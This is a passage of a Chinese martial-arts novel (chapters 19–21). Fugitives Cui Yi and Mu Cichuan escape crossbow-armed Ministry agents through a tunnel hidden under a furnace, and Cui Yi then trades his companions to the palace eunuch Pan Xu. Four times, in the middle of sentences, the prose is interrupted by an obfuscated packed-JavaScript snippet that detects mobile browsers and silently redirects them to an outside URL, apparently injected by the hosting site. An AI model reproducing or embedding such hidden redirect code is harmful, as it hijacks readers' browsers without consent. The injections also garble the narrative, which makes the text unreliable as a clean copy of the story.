“他当然没事。”樊姬忽然开了口,她好像又有些生气了,拧着眉也走到崔疑身边,在他额心戳了一指头,道,“我虽然每个月里也有三五次想过要毒死你,但谁叫你是个小财神呢。” 崔疑看着她说:“所以你端给我们的饭菜里,本来是没有毒的。” 樊姬说:“没有。” 她与刑部做了多年生意,没道理做杀人害命的事。下毒的另有其人。 穆辞川就说:“是我们睡觉的时候。有人趁那时翻窗进来,往剩菜里放了水银。是刑部的打手追杀至此了。” 没有人反驳,因为已没人想得出更为合理的解释。祝轻尘说:“下毒总是比打架方便得多。” 江南雀笑起来:“可惜他们下毒的手法也不怎么高明,师父一眼就识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609363|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破了。接下来他们还能有什么手段?” “接下来?”崔疑冷笑一声,“接下来他们就算是不想出手,也不得不出手了。” 话音未落,四周忽然响起一片震人心魄的乱铃声,惊得穆辞川浑身一抖,而后他就看见有数十道金光突破了铁行的门窗,从四面八方刺了进来。 那是数十只铮铮作响的金铃,正迅疾地击向屋内每一个人身上的每一处穴道! 金芒之间,又有一道银光乍起。祝轻尘的剑已经银蛇吐信一般刺出,轻轻一卷,挑落一串铃铛。江南雀排山推掌,也击落几只金铃。 可是金铃还是太多了,七八十只铃铛中,至少也有四五十个朝着崔疑浑身的要害处飞过去。 祝轻尘和江南雀的目光就“唰”地全都汇聚到崔疑身上,而后又“唰”地全都看向穆辞川。 穆辞川不用他们看,早已出了手,挥舞细剑向着空中刺了几招,乒乒乓乓一顿乱响,铃铛没打下几个,还差点碰断剑身。 他实在用不惯这么细的剑!索性将整把剑朝着那架雪白的轮椅一掷,一道黑影就骤然笼盖在崔疑身前。 不是他的剑。 而是他的人。 穆辞川整个人面对面地跨立在崔疑的身上,双手抓着他的轮椅,瞪着他的眼睛,提息运气,绷紧浑身每一道肌肉,仿佛化身成了山门前的一座天王塑像。 金铃接连而至,全打在他的后背上,力道遒劲,震破玄衣,留下一背的瘀血。打在他身尚要青瘀,若是打中了崔疑,只怕连那双本就断了的腿都要再断一次。 想到这里,穆辞川更加挡严了面前人的身体。他连手指都已痛得哆嗦,捏得四轮车咯吱吱地响,眼睛却眨都没眨地盯着崔疑,连瞳仁中的倒影都没有半点摇晃。 崔疑也看着他,双唇半张,有些发怔。他似乎想从穆辞川的脸上找出几分昔日仇敌的样貌,却最终只能看到一双猩红的眼角,热气从面铠的兽口中喟叹出来。 祝轻尘和江南雀停了手,也望着他们。 直到最后一只铃铛滚落在地,铁行里终于安静了下来。唯有穆辞川还在一声声的粗喘,一串血珠沿着他的腰肢,红线般蜿蜒着流到轮椅的轱辘上。 崔疑说:“你……” “我练过''金刚不坏'',伤不到骨头,养两天就好了。”穆辞川呲牙咧嘴地从他腿上爬下来,道,“你要是受了伤,连轮椅都坐不了,还得我背着你走。” 然后他又对其他人道:“你们受伤了没有?” 祝轻尘说:“祝某无碍。” 江南雀说:“我好像磕到了。” 祝轻尘道:“南雀,不要乱说。” 他将两柄细剑一齐收回鞘里,并排挂在柳腰间,又道:“刑部的人,怎么还不现身。” “他们的目的已经达成,何必还要现身。”崔疑说着,目光落在柜台旁那张青藤软椅上。 软椅尚在轻轻地前后摇动,椅坐上却没有人。 樊姬已不见了。 19. “脱衣服。” “樊姑娘!”穆辞川惊叫一声,冲进厢房里提出“不愿寒”剑,然后折身到大门前,踢开那半扇被金铃打碎了的木板,就见市井四处门户紧闭,三排青衣的官差手握弓弩,前跪后立,已将铁行牢牢围住。 一纵三弩,箭发不绝。这是连江湖上最一等一的侠士也绝冲不破的三轮驽阵。 樊姬就在阵中。头上那簇朱红的花椒正被一个耳戴铜罩的青年扯在手里。 青年的个子并不太高,樊姬被他扯着头发,窈窕的腰肢扭曲地折起。她嘶叫个不停,嘴里却只发出了一串又一串的铃声。 她的口中,已塞入了一对金铃。 穆辞川扬剑指向那青年,呵道:“你放了樊姑娘!” 崔疑也摇出轮椅,看了一眼来人,冷声说:“百里邬。” “崔小公子。”百里邬笑着道,“好久不见。旁边这位就是穆辞川穆大侠?” 穆辞川道:“少废话!你想打架,我来同你比划,干什么牵连别人!” “大侠的脾气怎么这样冲?”百里邬笑得更愉快了,他说,“我哪里敢害樊小姐,不过是奉侍郎大人命令,请小姐去衙署里叙叙旧。” 樊姬口中的铃铛又急促地响起来。 崔疑拉住穆辞川的胳膊,将他向后扯了一扯,冷笑着说:“沈绣打算破戒了?怎么也往家里领起了女人。” 他虽然是在笑,可穆辞川看得出他的目光晦暗异常,仿佛倘使百里邬敢碰断樊姬一根头发丝,他就要将刑部衙门掀个底朝天。 百里邬并不在意他的神情,只是说:“沈大人的事情,我怎敢议论,不过是奉命行事罢了。还请崔小公子行个方便。” 崔疑眯缝起眼,道:“樊姬已在你手里,还要我们行什么方便?” “啊,公子误会了,我不是指这件事。”百里邬道,“我临走前,大人特意交代,若是见到了公子与穆大侠,一定就地格杀,千万不要留活口。” 他的双眸在弩箭的辉映下闪烁出一点碧光,接着道:“所以一会儿万箭齐发时,请几位都尽量忍一忍,不要乱跑,以免把血溅得到处都是,弄脏了樊小姐的闺房。” 说到这里,他的目光已经变得像鹰隼一样狠戾。他伸手指向破烂的铁行,呵令道:“放箭!” 箭落如蝗,遮天蔽日。 穆辞川眼疾手快,一脚踹下门板,横在两人身前。可是箭势太急,他的半边身子很快就震得发麻,薄薄的门板也像片枯叶一般,被箭镞撕扯得稀碎。 透过门板的破洞,他看见樊姬将两根手指探进嘴里,使劲挖出那对金铃。一串比花椒更加殷红的血从她的口中流出来。 她满嘴是血,一双媚眼睁得目眦欲裂,瞪着穆辞川,用尽全身力气,叫出两个字。 她叫到:“烘炉!” 百里邬拧起眉心,一把将她甩在地上。 “她说了什么?”铎铎的箭声里,崔疑问穆辞川。 穆辞川看着他道:“她说烘炉!” 说完,他像是忽然想到了什么,调头冲向铁行中央那口大烘炉,拔出一旁的铁钳,伸进煤灰里一通乱搅,忽听炉底格楞楞的一串响。 灰烬之下,竟然显露出一条幽深的暗道。 “这是……”祝轻尘和江南雀也凑过来,看着那只黑漆漆的洞口。 “是路。”穆辞川怔怔地说,“是樊姑娘给我们指的活路。” 崔疑也跟过来,说:“未必就是活路。” 这条路通向何处? 在路的出口,是不是也已有刑部的人守着,等着他们自投罗网? 可是除了这条暗道,他们又能躲到哪里去? 祝轻尘忽然冷冷地道:“是生是死,找人下去试试就知道了。” 穆辞川道:“你说什么?”还没听见回答,就感到面前天旋地转,已被祝轻尘一掌推下了炉膛。 “你!”崔疑叫了一声,伸手拉住穆辞川的衣袖。 那一刹那,他只觉得像有十几只沉重的大面口袋坠在胳膊上,坠得他头重脚轻,双腿一下子就离开了轮椅,叽里咕噜地和穆辞川一起滚进了暗道里。 祝轻尘的眼前,又只剩下了一口黑洞。过了很久,才从洞底传来一声不知是谁的闷哼。 “还真是条活路。”江南雀这才笑起来,折身面向箭雨,道,“师父,您也下去躲一躲。我去引开外面那个叫百里邬的。” 还没迈出两步,她脚底就忽然一轻,整个人已被祝轻尘打横抱了起来。 江南雀道:“师父?” 祝轻尘看着怀里的少女,眼角的细纹轻轻颤动。他沉声说:“你非他的敌手,更救不下樊老板。” “樊老板?”江南雀好像已经愣住,“您要去救樊老板?” 祝轻尘慢慢地点了点头。 江南雀又问:“您有把握?” 祝轻尘摇了摇头。 “是没有把握救下她,还是没有把握冲出去?” 祝轻尘说:“都没有。”他一边说,一边抱着江南雀走到了炉膛边上。弩箭一枝接一枝地落在他身后。 他若冲不出这箭阵,岂非就只剩一个死? 江南雀的眼圈一下子就红了,她挥舞手臂挣扎起来:“我不要躲,我要同您一起去!” “不。”祝轻尘的语气很温和,但也很坚定,他说,“你要去看住崔疑和穆辞川,绝不能让他们跑了,好不好?” 他伸出了臂膀,把江南雀的身体捧到黑洞洞的暗道口上。少女试图抓住他的手臂与衣衫,可那柔软的碧色衣袂就像春风中的细柳,从她的指缝间飘走了。 “为什么要去救她!”江南雀终于哭着说,“她又不是被我们陷害的,凭什么为了她赌命!” “南雀。”祝轻尘柔声道,“我嘉陵派承继诸葛武侯遗志,以天下为己任。抑强扶弱,除暴安良,古来如此。” “您总是这样说!”江南雀道,“师姐们也是信了这些话,当年才会下山去,到现在生死不明……人都死了,还救什么世!” 祝轻尘的眉眼也像是柳叶般颤动不停,他的双唇抖了抖,才说:“她们不会死的。你也不会。” 说完,他就松开了手。江南雀朱红的衣裙伴随着不甘的哭叫,消失在暗道深处。 他看着她落下去,听到她爬起来,这才摘下腰间的酒囊,喝干,又将空囊立在炉膛口上。 然后他转过身,拔出那对柳叶般的剑。 暗道下的灰土覆在人身上,将黑衣、白衣、红衣,全都染得灰扑扑一片。 穆辞川跌得最狠,却最早一个站起了身,他指着那已高不可攀的炉口,大声道:“祝掌门,你到底要干什么?” “我师父要替你去救你的樊姑娘!”江南雀拍了拍衣上的土,呛声说,“你还有什么不满意的?难道你也想上去送死?” 穆辞川的功夫不如祝轻尘好,又是刑部的眼中钉,出手恐怕也是添乱。更何况暗道深如古井,他无论如何也出不去。 他哑了火。 江南雀斜了他一眼,说:“知道错了就好。你们两个跟着我走,都不准逃。” 说完,大踏步地向暗道深处走去。 “她是不是有些为难我了。”一旁的灰堆里,忽然传来幽幽的人语。 穆辞川赶紧冲过去,把崔疑从尘土中扒出来,抗在肩上,跟到江南雀身后。 暗道很长,黑不透光。江南雀点燃一只火折子。借着火光,穆辞川看到肩上的崔疑直直地睁着眼睛,神色同灰土一样幽暗。 “你……你不要太担心。”料想他是在记挂樊姬,穆辞川说,“祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609364|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌门也不算是坏人,他答应去救樊姑娘,一定能救下来的。” 崔疑没有应答。穆辞川就又说:“你是不是喜欢樊姑娘?” 崔疑说:“你是不是有一定要把天下人两两凑成一对,不然就浑身难受的毛病?” “成双成对的很好嘛。”穆辞川道,“我从未见你那样担心一个女孩子。” 崔疑沉默了半晌,才低声道:“她是我长嫂。” 穆辞川道:“哦。” 穆辞川又道:“什么?!” 江南雀回头瞧了瞧他们,叱道:“不准吵!” “我长兄曾向她送去聘书,还没等到礼成,就出了灭门的事。”崔疑压下声音,接着说,“若是再早几日完婚,她家也要诛连。” 穆辞川说不出话了,低头默默地走路。也不知道走了多久,脑门儿忽然一声闷响,人已撞在江南雀的后背上。 他抬起头,看见江南雀站定不动,就问:“出了什么事?” 江南雀指了指地面,道:“没路了。” 穆辞川顺着她手中的火光看过去,见土路的确已到了尽头,前方横着一道黑不见底的暗渠,水面漆黑一片,没有一丝波纹。 他盯着那条水渠,只觉得寒气逼人,躬身把崔疑放在地上,自己站到水边,说:“我潜下去看看。” “你等会儿!”江南雀厉声叫住他,“你以为我不懂?你找到了出口,就要自己跑了!” “我不会跑的。”穆辞川看着她,心里也知道口说无凭,就又道,“不然你想怎么样。” 江南雀深深吸了一口气,挽起朱红的衣袂,折进腰带里,又把双袖高高地卷起来,低声道:“你们两个在这儿等着,本姑娘下去探路。” 话音没落,她就已经曲身一跃,像一条红鲤一般,钻进渠水深处,不见了踪影。 “哎!……”穆辞川拦不住她,只好随她去,自己挨着崔疑坐下歇脚,坐了一会儿,又说,“这会儿只剩我们两个人在了。” 崔疑说:“嗯。” 穆辞川说:“我有些不想让别人听到的话,正好这会儿对你说。” 崔疑稍稍抬起眼,道:“哦?” “这些天来,我给你添了很多麻烦,你帮我的已很多了。”穆辞川别过头去,低声说,“你给我银子的时候,叫我不要打听你的往事,我却打听了,这是我做得不对。” 崔疑轻笑了一声:“原来你也明白。” “可是话又说回来,”穆辞川又回头正视着他,“我帮你的也很不少,我们两个算是两不相欠!” 崔疑不置可否。 穆辞川接着道:“樊姑娘说,我阿姊是害死你族人的凶手之一。我知道你不能不恨她,但我也不能就这样相信。” 崔疑蹙眉道:“你究竟想说什么。” 穆辞川目光闪动,那双狭长而明亮的眼睛里,一会儿像是有火在烧,一会儿又像是洪水汹涌。 “我们不是一条路上的人。”过了很久,他终于说,“等找到了出口,我们就一别两宽,各自逃命,不要再相见了。” 他说得很大声,余音在暗道的回旋下清晰可辨。说完之后,他就一直盯着崔疑,看到对方的眉眼慢慢弯曲,唇角也翘了起来,灰茫茫的瞳仁中却始终不见半点笑意。 崔疑就这样似笑非笑地说:“好。” 穆辞川愣了愣:“你、你真答应了?” “当然。”崔疑笑道,“你又不是我养的小狗,要走要留,难道还需要我同意吗?不过,看在我身体残缺的份上,还求你最后帮我一个忙吧。” “你说!”穆辞川立刻道,“只要我做得到,一定帮你!” 崔疑看着他,脸上的笑容渐渐凝结,目光也变得像身边的渠水一般冰冷。他下令道:“脱衣服。” 20. “坐我腿上。” 穆辞川愣了愣,道:“你说什么?” “我让你把衣服脱干净,这很难么?”崔疑淡淡地说,“那好,我来给你打个样。” 说完,他手指一屈,就挑开了自己的腰带,雪白的外袍落在地上,露出雪白的里衣,而后里衣也落下,又露出雪白的皮肤。 很快,他就已袒胸露腹,坐在水边,乌发流到肩上。他浑身上下,简直没有一片肌肤是不美的,好像一尊玉像,又像海中的鲛人,摄走穆辞川的心魄。 “你、你别这样!”穆辞川见他脱衣的架势吓人,赶紧道,“我刚才话说得重了点,是就事论事,不是针对你的,你千万别往心里去……” 他忽然不说下去了,因为他看到崔疑又将袍子重新套在了身上,系起腰带,然后取过方才脱下的里衣来,双手攥着一扯,撕成细细的布条。 穆辞川发现自己永远都猜不中崔疑会发些什么疯。 “看什么?”崔疑一边撕衣服,一边抬眼望了望穆辞川,道,“一会儿免不了要游泳。你身上伤口太多,浸了水,会烂的,我给你包起来。” 他的嗓音很轻,很凉,就像穿过土石、漏进暗道里的微风,拂得穆辞川浑身发痒。他这才想起自己肋下的剑伤还没愈合,后背也已皮开肉绽。 他的确已不能伤得再重些了。 犹豫半晌,他终于向前挪了两步,挪到离崔疑还有半丈远的地方,就转过身去,盘腿一坐,低声道:“劳烦你。” 崔疑被他气得想笑,道:“你坐得那么远,我怎么够得着?再坐近些。” 穆辞川扭着腰向后移了移。 “再近些。” 穆辞川又移了移。这回他感觉到崔疑的膝盖顶住了自己的腰窝。 崔疑说:“再近些。坐在我腿上。” 他果然是在作弄自己!穆辞川甩过头瞪了他一眼,咬牙道:“我怕给你坐折了!” 崔疑笑道:“本来就是折的。” 风轻水静。穆辞川最后还是坐上了那两条冰凉的腿,身下生寒,像是坐上了一窝白蛇。一双同样冰凉的手从背后环住他的腰,如同蛇卷住了猎物。 崔疑也为穆辞川脱下了衣服,露出青年精实的肌肉,血渍在麦色的躯干上左右横斜,仿佛舞姬身上的披帛。 他用衣袖擦净那些血污,又扯来绸衣撕作的布条,自下而上地缠住穆辞川的腰腹。 穆辞川不自在地拧了拧身体,道:“太紧了。” “绑紧一些,才不易渗水。”崔疑在他耳后轻声开口。他似乎很有做这种事的天分,一圈一圈,像小时候扎那只长命线鸟一样,把穆辞川捆结实、拴起来。 他连捆了百十几圈,从腰背捆到脖子根,才对穆辞川道:“好了。起来吧。” 穆辞川就直挺挺地从他腿上站起来,直挺挺地转过身,直挺挺地向他鞠了一点躬,道:“多谢。” 他已被绑得连腰都弯不下去,鞠起躬来,活像个大木偶。崔疑看着,感觉新奇又有趣。 他觉得有趣的东西,一向没有拿不到手的。 他们都不说话了。暗道里一下子变得很寂静,可以听见渠水流淌的声音。 没过一会儿,穆辞川就听到那轻巧的水声中,还混入了一阵低沉的杂音,愈来愈近,愈来愈响。转瞬之间,原本漆黑一片的水面就像破镜一样碎开,变得波涛汹涌,后来竟凭空激起了一层十几尺高的巨浪。怦地一声,砸在他们身上。 “这是南雀姑娘给我们发的信号,她内力深,能击水成浪。”穆辞川抹去脸上的水,惊喜地道,“她肯定是找到出口了!” “她发信号的方式还真特别。”崔疑冷声说。 “一会儿反正都要湿的。”穆辞川动作虽然已不太方便,却还是一把就将崔疑背了起来,道,“抓紧我。” 两个人叠在一起,“扑通”一声跳进水渠,沿着震响传来的方向,一浮一沉地游了过去。 水道之中,幽黑更甚。穆辞川单手举着火折子,游了一段,就发觉头顶石壁逐渐变窄,不能前行。伸脚探了探,水下还是通的。 他说:“准备好,我们潜下去。” 崔疑的呼吸声就停了。穆辞川也屏息凝气,一个猛子扎进水底。水下更是黑得连方向都辨别不出,只能摸着石壁缓缓前进。就在气力将要耗竭时,面前出现了一只银白色的漩涡。 那是一片落在水里的日光。 有光的地方,自然就有出路。穆辞川赶紧手脚并用,朝着那片光影划去,也不知划了多久,眼皮忽然一明,脑袋终于浮在了水面上。 他先是回过头,看到崔疑也好好地浮着,正用手拨弄脸上横七竖八的乌发,才又昂起头去,打量水面。看着看着,又感觉不对。 他们应当是身处一口小井里,井口露着一圈已有些晦暗了的天空,青色的井沿边,探出一座精致的小楼。 穆辞川恍然道:“这不是你家么!” 青瓦白墙,临井而立,这里正是崔疑的小宅。樊姬竟暗中挖了一条连通崔疑家鱼池的暗道。 没有火的灶、没有水的井,向来是江湖人藏身的好地方。可樊姬挖的这条暗道,一头是浇钢铸铁的炉膛,另一头是深不见底的鱼池,实在是挖得技艺精巧、出人意料。 “我当然还认识家。”崔疑也望着井口,双眉轻轻地蹙着,显然也是第一次知道这条暗道的存在,他说,“但我家的池子里,应该是有鱼的。” 他爱吃鱼,家中水井用作鱼池,养满了肥鲈。可如今这口井里除了他们二人与一束微光之外,别无他物。 穆辞川来不及多想,甩甩发梢上的水珠,撑臂爬出井沿,又把崔疑也拉上来。井外秋风正起,吹得人打哆嗦。可真正令他们浑身冰冷的,还是这座宅院如今的景象。 天已擦黑,小宅笼盖在一片灰蒙蒙的暗光里,宅门、廊道,模模糊糊不能分辨,可是满地的石板上,却分明地闪着几十点扎眼的青光。 一点青光,一只鱼眼。 那原本养在池中的几十条鲈鱼,此刻已全数尸首分离,散落在地,鱼头全都直勾勾地朝向宅院尽头的正房。 正房的门开着,房中,一个身材瘦小的男人斜坐在胡床里,幞头交脚披在肩上,像一只垂耳的黑兔。 江南雀也在院中,握着拳,瞪着那男人,道:“你是谁?” 穆辞川也攥紧了剑。他没有问话,因为他当然记得这个男人就是张勉。 他昨晚在酒楼里赠给自己兵符,今天是不是来索要报酬的? 张勉也看着他们,忽然笑了笑,从胡床里站起来,走到门外,拱手道:“小官内侍监潘勖,见过各位。” 穆辞川并不感到非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609365|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外,张勉手里握有南衙兵符,想必就不是常人。他知道内侍省是宦官治所,内侍监自然就是太监头子。 于是潘勖话一说完,穆辞川和江南雀的眼睛就止不住地向他下半身偷瞟过去。 潘勖也不恼,只是轻轻走到穆辞川身边,忽然伸出手,在他坚实的小腹上掐了一把,诡笑着道:“穆大侠想问什么,只管问就是了。” 穆辞川被他掐得出了一身冷汗,不敢多想,立刻正色说:“你是怎么找到这里来的。” 潘勖就笑得更愉快了,他又捏了捏穆辞川的肩膀:“你问什么都好,只有这一句问错了。” “为什么。” “因为这句话你不该问我的。”潘勖捏着他的肩膀一推,叫穆辞川背过身去,看向崔疑。 “我来这里,正是受到崔小公子邀请。你若想问,可以问他。” 崔疑还坐在井沿上,面色沉得像个水鬼,他缓缓道:“看来殷二十七的信送得很及时。” “你让小殷?”穆辞川惊愕道,“什么时候?” “你在铁行里睡觉的时候。”崔疑说,“我从你的衣服里拿了兔符,叫他请潘大人来。” “你……”穆辞川瞥了潘勖一眼,快步走到崔疑身边,用他自以为不会被外人听见的音量小声道,“你找他来干什么,他不是好人的。” “穆辞川,”崔疑很严肃地道,“你怎么这样议论潘大人?你要知道,正是因为潘大人在此震慑,百里邬才不敢追来,我们才能有片刻喘息的机会。” “他……!”穆辞川道,“可他杀了你的鱼!” “你错了。”崔疑看着他,沉声说,“这些鱼并不是潘大人杀的。” “不是他是谁?” 崔疑道:“是沈绣。” 沈绣既然在追杀他们,自然会首先来查抄这所宅子,查无所获时,也自然不惮杀掉几十条鲈鱼,用于泄愤。 潘勖笑了笑,道:“崔小公子这话说得不假。这样残忍的事,也就只有刑部那些疯子做得出来。” 崔疑望了他一眼,也冷笑道:“潘大人懂我就好。” 江南雀却越发不懂了,她皱着眉道:“你们到底是不是一伙儿的?” “小官没有那么大的本事,不敢同崔小公子与穆大侠搭伙。”潘勖挑挑眉,“不过,一起做点生意的本事还是有的。” 江南雀就又说:“你们要做什么生意?” 潘勖笑着说:“做生意嘛,互通有无,共成交易。还要看小公子与穆大侠想要什么。” 穆辞川与崔疑都看着他,都没说话。人在被追杀的时候,愿望通常都很清晰。 他们此刻只是想活命而已。 从沈绣的手下逃命,却显然不是一件简单的事。潘勖于是接着说:“若要小官来对付沈侍郎,也并非不可,只是价格恐怕不太便宜。” 崔疑忽然道:“我知道你要什么。” 潘勖的那只坏眼里闪出惨碧色的光来,道:“哦?” 崔疑就接着说:“你要的人,我已都给你带来了。” 穆辞川怔住了。他依次看了看潘勖、崔疑与江南雀,又低下头看了看自己,确信这所宅子中只有他们四个人。 崔疑说的人,是不是指他与江南雀? 他是不是要把他们卖给潘勖这个大太监了? 21. 卖狗 潘勖的眼睛又亮了,亮得如同地上的鱼眼。他忍不住盯着崔疑道:“你怎么知道我想要他们两个?” 崔疑淡淡地说:“那五根断指,就是你送到嘉陵派的。” 江南雀道:“什么?” 潘勖也在看着他,等着他解释。 崔疑就接着说:“潘大人知不知道东市里有位开铁行的樊姑娘,别人都称她为樊姬?” 潘勖道:“听说她的耳目灵通得很,市井杂事,从没有她不清楚的。” 崔疑道:“可是就连她也不曾听闻过许多穆月出的消息,只知道她在十二年前被征召入宫,做了太后手下的女官。可见认识她的人并不太多。” “那些断指仿造得却很精妙,连她的师友都不能辨别。不是很了解她的人,是做不出的。” 潘勖冷冷地笑了一声,道:“既是太后的女官,就该是太后娘娘与她最熟,与小官又有什么关系?” 崔疑看着他,忽然问:“她的剑法好不好?” “大师姐的剑法天下无双!”江南雀抢着说。 崔疑望了她一眼,又转头看向穆辞川:“她说的对么?” 穆辞川沉吟了片刻,低声道:“我见过的人中,还没有一个比得上阿姊。” 崔疑的目光就又回到了潘勖身上,凉凉地说:“我若有了这样的女官,绝不会再冒着走露风声的危险,去招惹她的师门的。” 潘勖不再说话。 崔疑却仍在接着道:“更何况这世上了解她的人,除了她的雇主外,至少还有一种。” 潘勖问:“哪一种?” 崔疑的瞳孔忽然紧缩起来,像一滴很浓的墨。他一字字地说:“她的仇人。” 那天在城外的酒垆里,就是他认出那五根断指并不属于穆月出。 他是不是已比所有人都了解她?是不是自十二年起,他就已死死地记住了这双手,只等着找穆月出报仇? 潘勖沉默了片刻,片刻后问:“谁是她的仇人。” 穆辞川攥紧了剑。仿佛只要崔疑有半句话答得不妥,漆黑的剑锋便会刺进他的喉咙。 崔疑眼里的浓墨又泅开,变得像是一片雾。他淡淡地道:“现今朝堂,帝后二党,水火不容。穆月出是太后党羽,她的仇人自然就是当朝天子。” 顿了顿,才接着道:“听闻潘大人正是天子身边少有的忠臣义士。” 没有等他说完话,潘勖便又笑了起来。他的笑声很尖细,像一窝呦呦争鸣的兔子,听得人浑身发毛。 他笑着说:“所以你才以为,是我将那些手指送到嘉陵派,又故意在酒楼里惹穆大侠的麻烦,就是为了引出月出姑娘的师徒、亲友,为我所用,以便与后党抗衡?” 崔疑道:“同出一门,她的师友当然也是高手。” 宫闱之内,本就也圈着一个江湖。行走江湖,谁都希望身边有几个绝顶高手。 潘勖于是笑得更愉快了。“一点也不错,一点也不假。”他笑道,“可惜你虽然看得出我的想法,却也只能把他们乖乖地送到我手里。” 他一边说,一边抚摩起穆辞川的手掌、胳膊,就像猫狗贩子抚摩一条精瘦的猎犬。就在他的手指马上要攀到穆辞川的胸膛时,崔疑忽然按住了他的手。 他冷冷地说:“别忘了你说过的话。” 潘勖道:“你想让沈绣放过你?” 崔疑盯着他道:“沈绣是个很记仇的人,只要他还活着,就绝不会放过我。” “你要他死?” 崔疑没有回答,手却攥得更紧了。 潘勖笑了笑,说:“无论你想用什么手段,小官都可以帮你。” “好。”崔疑倏然松开了手,道,“带他们走。” “我不走!”江南雀大声道,“我凭什么要听你们摆弄?我……” 她忽然不说下去了,因为她已撞见了穆辞川的目光。 那是一种很沉静、很坚毅的目光。穆辞川就这样看着她,好像已经思考了很久,又好像觉得这件事根本不需要考虑。 阿姊的身世就藏在皇宫里。 进宫的机会并不多! 穆辞川走到崔疑对面,低头凝视着他:“你家里还有没有其它的轮椅。” “厢房中还有两三架。”崔疑说。 穆辞川就折身走进厢房,推出一架新的四轮车。这一架是酸枝木做的,红得像血,椅面用了整片的和田黑玉。 他将崔疑端端正正地摆在轮椅上,沉声说:“我没有想到你是这样的人。” “你应该想到的。”崔疑凉凉地道,“我既然会用十两银子把你买下来,自然也会把你卖出去。” 穆辞川的神色没有变,只是说:“你给我的银子,我都已经还清了。我方才就说过,我们两个两不相欠。” 崔疑在等他说下去。 穆辞川说:“现在就是我们最后一次见面。” 崔疑轻轻地笑了一声。 穆辞川不再看他,转身走到潘勖身边,说:“阿姊能做的事情,我都可以做。她敢杀的人,我也都可以杀。” 潘勖笑道:“天子绝不会辜负你这样的忠臣。” “好。”穆辞川松开了剑柄,道,“带路。” 没有路。 只有一架没有棚顶的牛车,停在小宅的后院里。车上载着两只大金盆,密不透风的荷叶盖住盆口,一群妖精般嫣红的莲花,从叶子的缝隙里爬出来,绽放着。 潘勖走到车边,捏住两只盆沿,向后一拉,那两盆莲花像抽屉一样被拉开,露出下面一对棺材般的夹层。 潘勖笑道:“皇宫耳目森严,不得随意进出,委屈两位稍忍一忍。” 江南雀瞪了穆辞川一眼,道:“找师姐是要紧事,我先勉强信你一回!” 说完,率先钻进一只花盆。 穆辞川也躺进另一只盆子里,潘勖用莲花把他们藏住。他的眼前便一片漆黑,花泥的腥气吹进他的口鼻,闻起来像是刚下过雨。 刚见到崔疑的那一夜,风也是这么腥、这么冷。 他闭上了眼,听见潘勖在车外又唤来一个人,对他吩咐道:“卫将军,请赶车吧。” 屠灭裴家的凶手中,也有一个姓卫的将军!穆辞川倏然张开双目,转念一想,崔疑的世仇与他又没有关系,何必东猜西猜。就又接着阖起眼来。 牛车缓缓行驶。风长路远,很快又有人开了口。 这次说话的是江南雀。她道:“我从没听说大师姐有你这样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609366|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个弟弟。你到底是什么人。” “我也没听说过她有师妹的。”穆辞川不睁眼,沉声说,“我们本来就都不太了解她。” “谁说的?”江南雀的声音里带了些不悦,“我是师姐看着长大的,怎么会不了解她?我告诉你,师姐是要跟着我和师父回嘉陵的,你休想把她抢走。” 穆辞川从不打算抢走什么。只要阿姊平安,她愿意去哪里就去哪里。 只有崔疑那种性格顽劣的大少爷,才会因为别人不听自己的话而又哭又闹、大发脾气,他想。 然后他又想,自己怎么满脑子都是崔疑?那男人难道其实是个鬼魂,只要天一黑、风一静,就会钻进他的心窍里作孽? 他瞪大了双眼,使劲儿拍了拍自己的面铠,连带着那盆莲花沙沙地摇。 卫将军说:“请安静些。” 江南雀追着问:“你怎么了?怎么不说话?你果然要抢走大师姐!” 卫将军说:“请你也安静些。” 他的嗓音非常清冷,很能令女孩子听话。江南雀于是也安静下来。只有青牛还在慢慢地走着。 大约半个时辰后,他们到了蓬莱宫。 宫人见是为天子送鲜莲花,当即放行。穆辞川听到宫门打开又关闭,就在这一刹那,车不晃了,风不寒了,四面八方好像都传来悠远的丝竹声。仿佛进了神仙的住所。 